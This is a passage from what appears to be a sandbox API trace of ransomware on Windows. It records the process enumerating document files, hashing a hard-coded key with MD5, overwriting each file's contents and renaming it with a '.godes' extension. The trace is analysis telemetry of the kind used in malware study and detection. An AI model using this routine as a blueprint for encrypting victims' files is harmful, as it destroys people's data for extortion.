cFileName="c1Jyfiy2PqeG94Rl8.ods", cAlternateFileName="C1JYFI~1.ODS")) returned 1 [0114.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.524] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\c1Jyfiy2PqeG94Rl8.ods") returned=".ods" [0114.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\c1Jyfiy2PqeG94Rl8.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\c1jyfiy2pqeg94rl8.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.524] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=27335) returned 1 [0114.524] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.526] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6aa1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.526] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.530] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.530] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x6ac7, lpOverlapped=0x0) returned 1 [0114.531] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.531] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.531] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.531] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.532] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.532] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.532] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.532] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.532] GetLastError () returned 0x0 [0114.532] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.532] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6ad0) returned 0x3323120 [0114.532] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.532] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x6ac2, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x6ac2, lpOverlapped=0x0) returned 1 [0114.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.532] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6ac7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.533] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.533] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.533] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.533] CloseHandle (hObject=0x624) returned 1 [0114.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.534] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\c1Jyfiy2PqeG94Rl8.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\c1jyfiy2pqeg94rl8.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\c1Jyfiy2PqeG94Rl8.ods.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\c1jyfiy2pqeg94rl8.ods.godes")) returned 1 [0114.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.534] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.535] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abb4e0, ftCreationTime.dwHighDateTime=0x1d4cd9b, ftLastAccessTime.dwLowDateTime=0x9b3d13d0, ftLastAccessTime.dwHighDateTime=0x1d4cd86, ftLastWriteTime.dwLowDateTime=0x9b3d13d0, ftLastWriteTime.dwHighDateTime=0x1d4cd86, nFileSizeHigh=0x0, nFileSizeLow=0x17807, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p-btCK5P5-k.odt", cAlternateFileName="P-BTCK~1.ODT")) returned 1 [0114.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.535] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\p-btCK5P5-k.odt") returned=".odt" [0114.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\p-btCK5P5-k.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\p-btck5p5-k.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.535] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=96263) returned 1 [0114.536] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.537] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x177e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.537] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.539] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.539] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.539] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x17807, lpOverlapped=0x0) returned 1 [0114.539] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.540] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.540] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.540] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.540] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.540] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.540] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.540] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.540] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.540] GetLastError () returned 0x0 [0114.541] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.541] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x17810) returned 0x3323120 [0114.541] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.541] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x17802, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x17802, lpOverlapped=0x0) returned 1 [0114.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.541] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17807, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.542] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.542] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.542] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.542] CloseHandle (hObject=0x624) returned 1 [0114.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.543] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\p-btCK5P5-k.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\p-btck5p5-k.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\p-btCK5P5-k.odt.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\p-btck5p5-k.odt.godes")) returned 1 [0114.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.544] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.545] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16d9d90, ftCreationTime.dwHighDateTime=0x1d4cb47, ftLastAccessTime.dwLowDateTime=0x6e8740b0, ftLastAccessTime.dwHighDateTime=0x1d4c87a, ftLastWriteTime.dwLowDateTime=0x6e8740b0, ftLastWriteTime.dwHighDateTime=0x1d4c87a, nFileSizeHigh=0x0, nFileSizeLow=0x8e30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P7n5oLz_D.ods", cAlternateFileName="P7N5OL~1.ODS")) returned 1 [0114.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.545] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\P7n5oLz_D.ods") returned=".ods" [0114.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\P7n5oLz_D.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\p7n5olz_d.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.545] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=36400) returned 1 [0114.545] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.547] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8e0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.547] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.548] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.548] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x8e30, lpOverlapped=0x0) returned 1 [0114.549] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.549] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.549] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.549] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.550] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.550] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.550] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.550] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.550] GetLastError () returned 0x0 [0114.550] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.550] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e30) returned 0x3323120 [0114.550] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.550] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x8e2b, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x8e2b, lpOverlapped=0x0) returned 1 [0114.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.550] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8e30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.551] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.551] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.551] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.551] CloseHandle (hObject=0x624) returned 1 [0114.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x331e748 [0114.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.552] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\P7n5oLz_D.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\p7n5olz_d.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\P7n5oLz_D.ods.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\p7n5olz_d.ods.godes")) returned 1 [0114.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.552] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.553] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6455b50, ftCreationTime.dwHighDateTime=0x1d4c78c, ftLastAccessTime.dwLowDateTime=0x9dfb4050, ftLastAccessTime.dwHighDateTime=0x1d4cf71, ftLastWriteTime.dwLowDateTime=0x9dfb4050, ftLastWriteTime.dwHighDateTime=0x1d4cf71, nFileSizeHigh=0x0, nFileSizeLow=0x70d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vRok2UtD99B94w3KRv.rtf", cAlternateFileName="VROK2U~1.RTF")) returned 1 [0114.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.553] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\vRok2UtD99B94w3KRv.rtf") returned=".rtf" [0114.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\vRok2UtD99B94w3KRv.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\vrok2utd99b94w3krv.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.554] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=28883) returned 1 [0114.554] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.555] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x70ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.555] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, 